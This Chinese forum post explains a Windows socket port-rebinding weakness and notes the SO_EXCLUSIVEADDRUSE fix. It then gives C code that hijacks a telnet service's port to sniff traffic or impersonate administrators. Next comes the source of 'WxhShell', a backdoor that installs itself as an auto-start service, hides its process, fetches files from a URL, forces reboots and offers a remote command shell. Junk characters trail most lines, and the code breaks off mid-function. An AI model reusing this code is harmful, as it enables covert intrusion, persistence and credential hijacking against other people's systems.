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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "2Op[~V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %(LvE}[RJ  
So4nJ><p  
  saddr.sin_family = AF_INET; s'_,:R\VM>  
ms~8QL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )fh0&Y; R  
et$uP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qSiWnN8D t  
H}b\`N[nr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -fIc4u[  
w}<^l  
  这意味着什么?意味着可以进行如下的攻击: NW.XA! =E)  
CB*/ =Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hG Apuy  
M$&>5n7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #s+X+fe  
E8-53"m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YL5>V$i  
kR6A3?[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F!8=FTb  
^ @.G,u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gq]d:-7l  
]h~o],:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D[>W{g $  
^9ng)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2@MN]Low  
7U:=~7GH  
  #include 6[==BbZ  
  #include ,d 7Z  
  #include +8^_D?*\n  
  #include    ^g!B.ll`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vg^Myn   
  int main() O{n<WQd{CY  
  { elbG\qXBp  
  WORD wVersionRequested; c#\-%h  
  DWORD ret; ~Fx&)kegTo  
  WSADATA wsaData; iVeQ]k(u  
  BOOL val; ="B n=>  
  SOCKADDR_IN saddr; .5g}rxO8  
  SOCKADDR_IN scaddr; 7c::Qf[|  
  int err; QHQj/)J8  
  SOCKET s; %3,xaVN  
  SOCKET sc; ?~)Ak`=  
  int caddsize; $^Ca: duk  
  HANDLE mt; /2h][zrZ[.  
  DWORD tid;   G?[-cNdk  
  wVersionRequested = MAKEWORD( 2, 2 ); BW71 s  
  err = WSAStartup( wVersionRequested, &wsaData ); .Z5[_'T  
  if ( err != 0 ) { $Sb@zLi)  
  printf("error!WSAStartup failed!\n"); ;c)! @GoA  
  return -1; @+dHF0aXd  
  } _0]QS4a][c  
  saddr.sin_family = AF_INET; uL>:tb  
   eycV@|6u*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jYdV?B  
;](h2Z`3s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m"-G6BKS  
  saddr.sin_port = htons(23); :r39wFi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I*c;hfu  
  { Mdky^;qq3;  
  printf("error!socket failed!\n"); gfVDqDF  
  return -1; <|V'pim  
  } 0 pNo`Bm  
  val = TRUE; ~'[jBn)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tw86:kYEz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NUu;tjt:  
  { Nu+wL>t  
  printf("error!setsockopt failed!\n"); N ^f}ui i  
  return -1; cUC17z2D  
  } @Mr}6x*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5Jw"{V?Ak  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fKYKW?g;)Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HPTHF  
"GLYyC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x-4J/tm  
  { LT(?#)D  
  ret=GetLastError(); TMY{OI8a  
  printf("error!bind failed!\n"); >D3z V.R  
  return -1; Hir(6Bt  
  } 5m 3'Gt4  
  listen(s,2); /Tcb\:`9  
  while(1) ^yD"d =z  
  { &vkp?UH  
  caddsize = sizeof(scaddr); fMzYFM'i  
  //接受连接请求 lrn+d$!@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zx9.pFc"  
  if(sc!=INVALID_SOCKET) r8+*|$K  
  { )(.%QSA\C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X}?ESjZJ  
  if(mt==NULL) (NM6micc  
  { b.,$# D{p  
  printf("Thread Creat Failed!\n"); vo H4  
  break; I1~G$)w#  
  } +/}_%Cf8  
  } 7p !zp9|  
  CloseHandle(mt); H-m`Dh5{  
  } &]*|6cR$E  
  closesocket(s); aa!a&L|!  
  WSACleanup(); }JH`' &3  
  return 0; *XOS.$zGz  
  }   B%y! aQep  
  DWORD WINAPI ClientThread(LPVOID lpParam) >eu `!8  
  { 8k%H[Smn:  
  SOCKET ss = (SOCKET)lpParam; o6/Rx#A  
  SOCKET sc; .&L^J&V  
  unsigned char buf[4096]; ^^'[%ok  
  SOCKADDR_IN saddr; 9Yd-m  
  long num; UXQb ={  
  DWORD val; }`4K)(>4nG  
  DWORD ret; SCI1bMf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !rz)bd3$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *seu&  
  saddr.sin_family = AF_INET; @n>{&^-c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GA7u5D"0  
  saddr.sin_port = htons(23); ^xmZ|f-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2!{N[*)  
  { rEg+i@~  
  printf("error!socket failed!\n"); <gR`)YF7  
  return -1; 8 `o{b"l+  
  } Gk{W:866  
  val = 100; V!H(;Tuuo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O<bDU0s{M  
  { Ys)+9yPPn  
  ret = GetLastError(); Sr-|,\/O  
  return -1; /AoVl'R  
  } wd"TM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bD  d_}  
  { Plb}dID"  
  ret = GetLastError(); DqRLx85d1  
  return -1; /!:L7@BZ  
  } H kSL5@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #fO*ROe  
  { 9y;y7i{>?  
  printf("error!socket connect failed!\n"); ;Sy/N||  
  closesocket(sc); !W 0P `i<  
  closesocket(ss); HUK" OH  
  return -1; 8g-P_[>  
  } dG" K/|  
  while(1) $R8>u#K!  
  { <&KLo>B^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /cM 5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^zKt{a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a4Ls^  
  num = recv(ss,buf,4096,0); 2\DTJ`Y,  
  if(num>0) (y%%6#bd  
  send(sc,buf,num,0); `:V}1ioX5  
  else if(num==0) 0T1HQ  
  break; jC#`PA3m=  
  num = recv(sc,buf,4096,0); 5XI;<^n2  
  if(num>0) QCVsVG!sN  
  send(ss,buf,num,0); ,I/2.Q})[  
  else if(num==0) v/]Qq  
  break; l t&$8jh  
  } OTnu{<.a  
  closesocket(ss); %3ou^mcj  
  closesocket(sc); _E3U.mV  
  return 0 ; 0S%tsXt+  
  } {qJHL;mP:8  
mJSK; @w<O  
@Q/x&BV  
========================================================== ?e"Wu+q~L  
\I'f3  
下边附上一个代码,,WXhSHELL +SAk:3.#CV  
~*jsB=XM/  
========================================================== @gH(/pFX  
>6*(}L9  
#include "stdafx.h"  Y>xi|TWN  
nXv 7OEpTx  
#include <stdio.h> w/?nUp  
#include <string.h> lv=yz\  
#include <windows.h> X!HDj<  
#include <winsock2.h> I/oIcQS!k  
#include <winsvc.h> ~8XX3+]z:X  
#include <urlmon.h> hN Z4v/  
vsu@PuqH  
#pragma comment (lib, "Ws2_32.lib") x%_qJ]o  
#pragma comment (lib, "urlmon.lib") oNiToFbQu  
9Q,Msl4n  
#define MAX_USER   100 // 最大客户端连接数 ^fFtI?.6jI  
#define BUF_SOCK   200 // sock buffer s"pR+)jf1D  
#define KEY_BUFF   255 // 输入 buffer |\i:LG1  
V"w`!  
#define REBOOT     0   // 重启 | De!ti  
#define SHUTDOWN   1   // 关机 }pbBo2  
^2C0oX  
#define DEF_PORT   5000 // 监听端口 XRClBTKF  
x>U1t!'  
#define REG_LEN     16   // 注册表键长度 Pd)K^;em  
#define SVC_LEN     80   // NT服务名长度 z\xiACIc  
D?iy.Dg  
// 从dll定义API b*btkaVue  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2N L:\%wz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >{phyByI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NvQY7C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |WD,\=J2  
pe\Txg6  
// wxhshell配置信息 IyrZez  
struct WSCFG { +io;K]C  
  int ws_port;         // 监听端口 y%{*uH}SL  
  char ws_passstr[REG_LEN]; // 口令 qk_p}l-F1  
  int ws_autoins;       // 安装标记, 1=yes 0=no %GVEY  
  char ws_regname[REG_LEN]; // 注册表键名 +^/Nil  
  char ws_svcname[REG_LEN]; // 服务名 R88(dEK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :5TXA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0C lX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uAW*5 `[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u5u0*c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B, QC -Tn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A8_\2'b  
zF[3%qZE:T  
}; w/lXZg  
p_rN1W Dd'  
// default Wxhshell configuration 7yMieUF  
struct WSCFG wscfg={DEF_PORT, %Nwyx;>9^K  
    "xuhuanlingzhe", )![f\!'PI  
    1, n/KI"qa]9  
    "Wxhshell", K[iY{  
    "Wxhshell", Y|hzF:ll  
            "WxhShell Service", s|{^ }4{  
    "Wrsky Windows CmdShell Service", I}*]m%'-Y  
    "Please Input Your Password: ", Ma`   
  1, aHBByH  
  "http://www.wrsky.com/wxhshell.exe", }V1DyLg :  
  "Wxhshell.exe" >XD02A[  
    }; +Z 9 3`  
[(D}%+2   
// 消息定义模块 NZfo`iHAN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Qp1Es<)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W+#}~2&Dv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5@w'_#!)  
char *msg_ws_ext="\n\rExit."; BxSk%$J  
char *msg_ws_end="\n\rQuit."; xm<5S;E5U4  
char *msg_ws_boot="\n\rReboot..."; "-0pz\a  
char *msg_ws_poff="\n\rShutdown..."; vR6^n~  
char *msg_ws_down="\n\rSave to "; ef;& Y>/  
'DL;c@}37  
char *msg_ws_err="\n\rErr!"; zPX=MfF  
char *msg_ws_ok="\n\rOK!"; @&~OB/7B:  
a z:~{ f*-  
char ExeFile[MAX_PATH]; ?:#>^eWYe7  
int nUser = 0; Ez7V>FNX  
HANDLE handles[MAX_USER]; M^|"be~{'  
int OsIsNt; Q9Y9{T  
MFc=B`/X  
SERVICE_STATUS       serviceStatus; !7O=<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yS:IRI.  
J[<D/WIH  
// 函数声明 9,iq"dQ  
int Install(void); sx;V,"Y  
int Uninstall(void); vWnHC  
int DownloadFile(char *sURL, SOCKET wsh); vOvxQS}dBp  
int Boot(int flag); tj"v0u?zW  
void HideProc(void); u7WTSL%  
int GetOsVer(void); HKEop  
int Wxhshell(SOCKET wsl); !#@4xeBPo  
void TalkWithClient(void *cs); 1cHSgpoJ  
int CmdShell(SOCKET sock); %S(#cf!HP  
int StartFromService(void); $>S}acuC  
int StartWxhshell(LPSTR lpCmdLine); C*W.9  
9sfB+]}h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }\PE {  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'gk81@|  
zJy 89ib'  
// 数据结构和表定义 4'}_qAT  
SERVICE_TABLE_ENTRY DispatchTable[] = v$.JmL0^J  
{ "lv:hz  
{wscfg.ws_svcname, NTServiceMain}, 1OiZNuI:E  
{NULL, NULL} brYYuN|Vc  
}; J^s<x#C  
M f%^\g.}  
// 自我安装 .(MbP  
int Install(void) Hg gR=>s  
{ gJcXdv=]2  
  char svExeFile[MAX_PATH]; {E3<GeHw4  
  HKEY key; {.' ,%)  
  strcpy(svExeFile,ExeFile); ,<^tsCI  
4t%:O4 3e  
// 如果是win9x系统,修改注册表设为自启动 t]u(jX)  
if(!OsIsNt) { 7tf81*e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7(|3 OR+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bgzT3KZ  
  RegCloseKey(key); '1kj:Np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :N+#4rtgUY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5KC\1pe i  
  RegCloseKey(key); $8X tI  
  return 0; UuOLv;v  
    } JT.\f,z&  
  } }(g+:]p-  
} i)ES;b4  
else { HYI1 o/}  
764}yV>  
// 如果是NT以上系统,安装为系统服务 +>i<sk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )bIK0h  
if (schSCManager!=0) S}v{^vR  
{ l_YdIUl  
  SC_HANDLE schService = CreateService ?*z( 1!  
  ( 02J6Pn3  
  schSCManager, <mo^Y k3  
  wscfg.ws_svcname, H(%] Os  
  wscfg.ws_svcdisp, '^-4{Y^2E  
  SERVICE_ALL_ACCESS, giSG 6'WA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `!Ge"JB6   
  SERVICE_AUTO_START, D|Ihe%w-  
  SERVICE_ERROR_NORMAL, Gwrx) Mq  
  svExeFile, X>@.-{6T  
  NULL, %<ptkZK#  
  NULL, tXG4A$(2&  
  NULL, zfr(dQ  
  NULL, hPqapz]HcP  
  NULL g]@R'2:1  
  ); D $CY:@  
  if (schService!=0) a`@<ZsR  
  { 32-3C6f@oZ  
  CloseServiceHandle(schService); tN'- qdm  
  CloseServiceHandle(schSCManager); xeP;"J}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {HRxyAI!  
  strcat(svExeFile,wscfg.ws_svcname); 9i2vWSga  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &h4Z|h[01  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Zavdkw=d  
  RegCloseKey(key); wkZ2Y-#='  
  return 0; 3]kAb`9[K2  
    } dS;|Kl[Om  
  } 1TxhEXB  
  CloseServiceHandle(schSCManager); ++{+ #s6  
} _9O }d  
} i2ml[;*,N  
_qzo):G.s  
return 1; JmJ,~_  
} B=Jd%Av  
0.Ol@fO  
// 自我卸载 =<FZ{4  
int Uninstall(void) 3d)+44G_)  
{ {R{%Z  
  HKEY key; : .w'gU_  
]kplb0`  
if(!OsIsNt) { (27F   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VY&9kN  
  RegDeleteValue(key,wscfg.ws_regname); 85@6uBh  
  RegCloseKey(key); 8DS5<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { knK=ENf;e  
  RegDeleteValue(key,wscfg.ws_regname); ;'18  
  RegCloseKey(key); _8b>r1$  
  return 0; IO&#)Ft  
  } l-h7ksRs  
} n$![b_)*  
} f+*2K^B  
else { O"-PNF,J  
_467~5JkU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A[$wxdc  
if (schSCManager!=0) C^42=?  
{ /h.3<HI."*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VX>t!JP p  
  if (schService!=0) Z%n.:I<%ZV  
  { D>x'3WYR  
  if(DeleteService(schService)!=0) { LYq2A,wm$  
  CloseServiceHandle(schService); (PrPH/$  
  CloseServiceHandle(schSCManager); <ZvPtW  
  return 0; BLH3$*,H  
  } ,l? 76g  
  CloseServiceHandle(schService); fUWm7>6VA>  
  } 0?L$)T-B  
  CloseServiceHandle(schSCManager); Xie dgy  
} n_Hn k4  
} 3{L vKe  
+VW]%6 +  
return 1; 2Ku#j ('  
} y`@4n.Q  
B l/e>@M  
// 从指定url下载文件 z` ?xS  
int DownloadFile(char *sURL, SOCKET wsh) 2u;fT{(  
{ }]GK@nn7  
  HRESULT hr; oJu4vGy0  
char seps[]= "/";  p|8Fl  
char *token; dvWlx]'  
char *file; !<PTsk F  
char myURL[MAX_PATH]; COL8YY  
char myFILE[MAX_PATH]; Cwa0!y5%  
i@j ?<  
strcpy(myURL,sURL); v;qL? _:=c  
  token=strtok(myURL,seps); 9/KQAc*  
  while(token!=NULL) U"kK]Stk<  
  { 1 'pQ,  
    file=token; Cv7RCjMw  
  token=strtok(NULL,seps); ~HI0<;r=eL  
  } s ;Nu2aOp7  
XBt0Ez  
GetCurrentDirectory(MAX_PATH,myFILE); knZd}?I*  
strcat(myFILE, "\\"); `/Jr8J_  
strcat(myFILE, file); "lzg@=$|)  
  send(wsh,myFILE,strlen(myFILE),0); 5e8-?w% e  
send(wsh,"...",3,0); g\nL n#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A"ph!* i{  
  if(hr==S_OK) kRa$jD^?  
return 0; 4GejT(U  
else 4i&!V9@:  
return 1; pR7G/]U$A  
ct/THq  
} Z$K%@q,10+  
"Ksd9,J\b  
// 系统电源模块 ! m5\w>  
int Boot(int flag) `CouP-g.  
{ 9>, \QrrH  
  HANDLE hToken; *<5lx[:4/x  
  TOKEN_PRIVILEGES tkp; iZ;jn8  
#{`NJ2DU]  
  if(OsIsNt) { {73DnC~N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;.m[&h 0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n ,%^R  
    tkp.PrivilegeCount = 1; ",GC\#^v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0vNM#@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ]= D  
if(flag==REBOOT) { *4\ub:9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #!j&L6  
  return 0; sJYX[  
} jo:p*Q "F  
else { bbA<Zp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j*\MUR=  
  return 0; yG_.|%e  
} ?& ^l8gE  
  } IN*Z__l8j`  
  else { &1n0(qB  
if(flag==REBOOT) { ?Ir6*ZyY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \srOU|  
  return 0; Jq@LZ2^  
} .qP zd(<T7  
else { n8C {Okr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !}m 8]&  
  return 0; }E_zW.{!  
} j+v)I=  
} X,Q(W0-6$u  
%j`]x -aOz  
return 1; imuHSxcaV  
} ~.SU$  
nW[aPQ[R   
// win9x进程隐藏模块 .^W0;ISX  
void HideProc(void) p{u}t!`!d  
{ E_*T0&P.P  
a MD?^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $(hZw  
  if ( hKernel != NULL ) @g?z>n n  
  { A#\X-8/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xk<0QYv   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?q7Gs)B=^'  
    FreeLibrary(hKernel); -O6o^Dk  
  } 8;bOw  
4K,&Q/Vdd7  
return; [#V! XdQ,  
} #`EMK   
z}|'&O*.F  
// 获取操作系统版本 hTqJDP"&F  
int GetOsVer(void) c73ZEd+j  
{ ijT^gsLL  
  OSVERSIONINFO winfo; $xwF;:)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gNBI?xs`p  
  GetVersionEx(&winfo); B.b)YE '  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x-EAu 3=V  
  return 1; ;* Jd#O  
  else Ro69woU  
  return 0; ZGBcy}U(k  
} ^8*.r+7p  
bEJZh%j!  
// 客户端句柄模块 owB)+  
int Wxhshell(SOCKET wsl) W@LR!EW)  
{ Obm\h*$  
  SOCKET wsh; TW$^]u~v  
  struct sockaddr_in client; >U]. k8a)  
  DWORD myID; $MR4jnTT  
RdjUw#\33b  
  while(nUser<MAX_USER) F ry5v?22  
{ yCVBG  
  int nSize=sizeof(client); '>8N'*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1>LquZ+Kj  
  if(wsh==INVALID_SOCKET) return 1; Spb'jAKj'  
YrX{,YtiX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); od>.5{o  
if(handles[nUser]==0) 3FfS+q*3S  
  closesocket(wsh);  K!j2AP3  
else F$v G=3  
  nUser++; {$JIR}4S  
  } ">7 bnOJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #N:o)I  
F~6[DqF\|  
  return 0; )deuB5kz  
} -#@;-2w  
YZd4% zF  
// 关闭 socket BRT2=}A  
void CloseIt(SOCKET wsh) u=5^xpI<D  
{ pE#0949  
closesocket(wsh); te_D  ,  
nUser--; 00ho*p!E'  
ExitThread(0); ! d(,t[cV  
}  _~r>C  
U3>G9g>^B  
// 客户端请求句柄 jw H)x  
void TalkWithClient(void *cs) 4^ A\w  
{ ?V+=uTCq  
:DEZ$gi  
  SOCKET wsh=(SOCKET)cs; cVU[>gkg_  
  char pwd[SVC_LEN]; d] {^  
  char cmd[KEY_BUFF]; Yd9y8Tq J  
char chr[1]; }6\p7n  
int i,j; 1]"b.[P>  
V@F~Cx  
  while (nUser < MAX_USER) { +aMPwTF:3  
g]S.u8K8m  
if(wscfg.ws_passstr) {  z>!b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MQ01!Y[q_7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 16AYB17  
  //ZeroMemory(pwd,KEY_BUFF); h c "n?  
      i=0; )%0#XC^/X5  
  while(i<SVC_LEN) { \;~>AL*  
VHy$\5oYg  
  // 设置超时 8ARpjYZP  
  fd_set FdRead; a`}HFHm\2,  
  struct timeval TimeOut; u(P D+Gz  
  FD_ZERO(&FdRead); Vki3D'.7N  
  FD_SET(wsh,&FdRead); H}d&>!\}F  
  TimeOut.tv_sec=8; TMbj]Mso  
  TimeOut.tv_usec=0; z7}@8F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 75a3H`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (URWi caB  
Bb m1&d#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \D0Pik@?  
  pwd=chr[0]; M!,WU[mP  
  if(chr[0]==0xd || chr[0]==0xa) { I-^Y$6-  
  pwd=0; Av{1~%hU  
  break; jGId)f!)  
  } {'JoVJKv  
  i++; ^;M!u8[  
    } \S _ycn  
r@ ]{`qA  
  // 如果是非法用户,关闭 socket Rc @p!Xi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uSH.c>  
} a *>$6H;  
iCx}v[;Ol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8|gwH2 st~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , j7&(V~  
H_Vf _p?  
while(1) { PKk_9Xd  
4~DoqT  
  ZeroMemory(cmd,KEY_BUFF); A^xD Axk  
? 3Td>x  
      // 自动支持客户端 telnet标准    RCKb5p9  
  j=0; dG\dGSZ\h  
  while(j<KEY_BUFF) { <a; <|Fm.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YjAwt;%-D  
  cmd[j]=chr[0]; ;BsyN[bF  
  if(chr[0]==0xa || chr[0]==0xd) { EHmw(%a|+  
  cmd[j]=0; UH2fP G  
  break; NLRgL'+F  
  } _O{3bIay3!  
  j++; NvY%sx,  
    } C0J/FFBQ^  
pkQEry&Z  
  // 下载文件 X)P9f N~7  
  if(strstr(cmd,"http://")) { 0@k)C z[0;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WZ> }  
  if(DownloadFile(cmd,wsh)) Yv\>\?865  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]hRCB=G  
  else ,ir(~g+{g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +/E`u|%|\]  
  } 4-1=1)c*  
  else { u[k0z!p_ c  
8Th{(J_  
    switch(cmd[0]) { %|Sh|\6A!  
  DvhJkdLB>  
  // 帮助 [z=KHk  
  case '?': { ap,%)on^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  UDl[  
    break; CEzwI _  
  } xvU@,bzz  
  // 安装 N;gI %6  
  case 'i': { h'%iY6!fA  
    if(Install()) /r2*le (H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QR13l(  
    else ^N# z&oh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vh=10Et  
    break; X!6oviT|m  
    } ;XAj/6pm  
  // 卸载 K FMx(fD  
  case 'r': { <l>o6K  
    if(Uninstall()) q.I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rW),xfo0  
    else m}`!FaB #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |%\>+/j$  
    break; N #C,q&;  
    } n06T6oc  
  // 显示 wxhshell 所在路径 m6+4}=Cn  
  case 'p': { ( &N`N1  
    char svExeFile[MAX_PATH]; +s$` kl  
    strcpy(svExeFile,"\n\r"); zw ,( kv  
      strcat(svExeFile,ExeFile); \+,%RN.  
        send(wsh,svExeFile,strlen(svExeFile),0); 3IB||oN$T  
    break; $OGTHJA  
    } V d`}F0WD  
  // 重启 h_*!cuH  
  case 'b': { ;cpQ[+$nKp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wks?9 )Is  
    if(Boot(REBOOT)) LeEv']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HnlCEW,^o  
    else { L>@:Xo@  
    closesocket(wsh); SyL:=NZ  
    ExitThread(0); "1I\~]]  
    } xZ84q'i"  
    break; A*x3O%zH  
    } Q95`GuI@  
  // 关机 ^ s.necg0  
  case 'd': { ;nx? 4f+6h  
